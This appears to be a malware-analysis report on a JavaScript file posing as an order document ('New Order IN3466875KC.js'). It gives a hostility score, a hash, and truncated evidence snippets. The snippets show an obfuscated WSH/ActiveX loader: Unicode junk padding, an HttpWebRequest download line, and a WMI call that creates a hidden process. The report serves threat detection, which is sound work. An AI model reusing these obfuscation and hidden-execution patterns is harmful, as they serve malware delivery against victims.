Hostile ^92% javascript Download

New Order IN3466875KC.js

Obfuscated WMI execution and shell access

ActiveX WSH loader launches a constructed hidden WMI commandWMI creates a hidden process with startup configuration

SHA-2564d4d7060d42e3af469334e5edc72faf6f2112f66eaaf8ef8c84428b728caac07

URLhttps://mb-api.abuse.ch/api/v1/

Evidence

ActiveX WSH loader launches a constructed hidden WMI command lines 1–6

1try {
2  eupsalis = (eupsalis || "") + "ᒴ⎃ߖƗய≲᠏🗷௄αᦥᛵᮧ🔟";
3
4  eupsalis = (eupsalis || "") + "ᒴ⎃ߖƗய≲᠏🗷௄αᦥᛵᮧ🔟";
5
6  eupsalis = (eupsalis && eupsalis.indexOf("ᒴ⎃ߖƗய≲᠏🗷௄αᦥᛵᮧ🔟") !== -1) ? eupsalis + "ᒴ⎃ߖƗய≲᠏🗷௄αᦥᛵᮧ🔟" : "ᒴ⎃� …

JavaScript appends many string literals lines 16–20

16:199… �🔟";
17
18  switch (typeof eupsalis) { case "string": eupsalis += "ᒴ⎃ߖƗய≲᠏🗷௄αᦥᛵᮧ🔟"; break; default: eupsalis = "ᒴ⎃ߖƗய≲᠏🗷௄αᦥᛵᮧ🔟"; }
19
20  v …

Calls the WSH Environment method lines 4348–4353

4348:65… �᠏🗷௄αᦥᛵ��🔟"; })(eupsalis);
4349
4350  var excavated = corseint.Environment("User");
4351  eupsalis = (function(p){ return (p || "") + "ᒴ⎃ߖƗய≲᠏🗷௄αᦥᛵᮧ🔟"; })(eupsalis);
4352
4353  switch (typeo …

Unicode-delimited HttpWebRequest response download line 4635

4635:534… ��௄α��ᛵᮧ����.ᒴ����ߖƗய≲���🗷௄α��ᛵᮧ����Hᒴ��ߖƗய≲���🗷௄α��ᛵᮧ����tᒴ��ߖƗய≲���🗷௄α��ᛵᮧ����tᒴ��ߖƗய≲���🗷௄α��ᛵᮧ����pᒴ��ߖƗய≲���🗷௄α��ᛵᮧ����Wᒴ��ߖƗய≲���🗷௄α��ᛵᮧ����eᒴ��ߖƗய≲���🗷௄α��ᛵᮧ����bᒴ��ߖƗய≲���🗷௄α��ᛵᮧ����Rᒴ��ߖƗய≲���🗷௄α��ᛵᮧ����eᒴ��ߖƗய≲���🗷௄α��ᛵᮧ����qᒴ��ߖƗய≲���🗷௄α��ᛵᮧ����uᒴ��ߖƗய≲���🗷௄α��ᛵᮧ����eᒴ��ߖƗய≲���🗷௄α��ᛵᮧ����sᒴ��ߖƗய≲���🗷௄α��ᛵᮧ����t]::C�����ߖƗய≲���🗷௄α��ᛵᮧ����rᒴ��ߖƗய≲���🗷௄α��ᛵᮧ����eᒴ��ߖƗய≲���🗷௄α��ᛵ …

WMI creates a hidden process with startup configuration lines 9098–9103

9098:16… upsalis || "") + "ᒴ⎃ߖƗய≲᠏🗷௄αᦥᛵᮧ🔟";
9099
9100  var Persephone = festivally.Create(caroigne, null, decafs, ooketook);
9101  for (var eupsalis = 0; eupsalis < 1; eupsalis++) { eupsalis = (eupsalis || "") + "ᒴ⎃ߖƗய≲᠏🗷௄αᦥᛵᮧ🔟"; }
9102
9103  var eupsalis = "ᒴ⎃ߖƗய≲᠏🗷௄αᦥᛵ …